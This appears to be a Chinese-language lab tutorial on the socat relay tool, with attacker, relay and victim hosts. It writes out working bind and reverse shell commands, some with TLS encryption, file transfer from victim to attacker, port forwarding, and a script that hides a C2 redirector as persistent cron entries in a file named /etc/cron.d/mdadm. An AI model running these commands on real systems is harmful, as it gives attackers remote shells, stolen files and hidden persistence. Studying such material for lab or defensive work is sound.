Post

socat工具使用

什么是 socat?

socat 是一种 Relay (中继)工具,可以独立用于两个数据通道之间的双向数据传输,多用于流量转发。

网络拓扑

Role ip
attack 192.168.174.128
relay server 192.168.174.129
victim 192.168.174.141

功能

Bind shell

  1. victim 监听 6666 端口,等待传入的连接,一旦连接成功就反弹 bash shell

    1
    
     socat -d -d TCP4-LISTEN:6666 exec:/bin/bash
    
  2. attack 发起连接,成功连接就可拿到目标的shell

    1
    
     socat - TCP4:192.168.174.141:6666
    
抓包分析

1

可以看到 socat 之间通过 TCP 连接,并且是明文传输数据,不安全。

加密 Bind shell

  1. victim 上创建加密使用的密钥(bind_shell.key)和证书(bind_shell.crt

    1
    
    openssl req -newkey rsa:2048 -nodes -keyout bind_shell.key -x509 -days 362 -out bind_shell.crt
    
  2. victim 上使用密钥和证书创建 .pem 文件用于加密流量

    1
    
    cat bind_shell.key bind_shell.crt > bind_shell.pem
    
  3. victim 监听 7777 端口,等待传入的连接,一旦连接成功就反弹 bash shell

    1
    
    socat OPENSSL-LISTEN:7777,cert=bind_shell.pem,verify=0,fork EXEC:/bin/bash
    
  4. attack 发起连接,成功连接就可拿到目标的shell

    1
    
     socat - OPENSSL:192.168.174.141:7777,verify=0
    
抓包分析

2

可以看到 socat 之间的传输经过加密,并且走的是 TLSv1.3 协议。

反向shell

  1. attack 创建反向shell的监听器

    1
    
    socat -d -d TCP4-LISTEN:8888 STDOUT
    
  2. victim 反向连接 attack

    1
    
    socat TCP4:192.168.174.128:8888 exec:/bin/bash
    

加密反向shell

  1. attack 上创建一个密钥(ignite.key)和与之关联的证书(ignite.crt

    1
    
    openssl req -newkey rsa:2048 -nodes -keyout ignite.key -x509 -days 1000 -subj '/CN=www.ignite.lab/O=Ignite Tech./C=IN' -out ignite.crt
    
  2. attack 上使用密钥和证书转换为 .pem 文件用于通信加密

    1
    
    cat ignite.key ignite.crt > ignite.pem
    
  3. attack 监听 9999 端口,等待传入的连接,一旦连接成功就可获得victim 反弹过来的 bash shell

    1
    
    socat -d -d OPENSSL-LISTEN:9999,cert=ignite.pem,verify=0,fork STDOUT
    
  4. victim 发起连接

    1
    
    socat OPENSSL:192.168.174.128:9999,verify=0 exec:/bin/bash
    

端口转发

  1. relay server 上监听 9988 端口,并将请求转发至 victim的 7766 端口

    1
    
    socat -d -d -lf /var/log/socat.log TCP4-LISTEN:9988,bind=192.168.174.129,reuseaddr,fork TCP4:192.168.174.141:7766
    
  2. attack 发起连接

    1
    
    socat TCP4:192.168.174.129:9988
    

文件传输

  1. victim 开启 443 端口,等待传入的连接,一旦连接成功就发送文件

    1
    
    socat -d -d TCP4-LISTEN:443,fork file:data.txt
    
  2. attack 发起连接,并保存文件

    socat TCP4:192.168.174.141:443 file:data.txt, create
    
抓包分析

3

可以看到 socat 之间文件传输通过 TCP 连接,并且是明文传输数据,不安全。

加密文件传输

根据之前的写法就可以进行加密文件传输

  1. victim 监听 443 端口,等待传入的连接,一旦连接成功就发送文件

    1
    
    socat -d -d OPENSSL-LISTEN:443,cert=transfer_file.pem,verify=0,fork file:data.txt
    
  2. attack 发起连接,并保存文件

    1
    
    socat OPENSSL:192.168.174.141:443,verify=0 file:data.txt, create
    

C2上设置 socat

C2流量转发服务器一般是将端口转发命令添加到计划任务里,例如脚本:

1
2
3
echo "@reboot root socat TCP4-LISTEN:80,fork TCP4:<c2-http-ipv4_address>:80" >> /etc/cron.d/mdadm
echo "@reboot root socat TCP4-LISTEN:443,fork TCP4:<c2-http-ipv4_address>:443" >> /etc/cron.d/mdadm
shutdown -r

Ref.

This post is licensed under CC BY 4.0 by the author.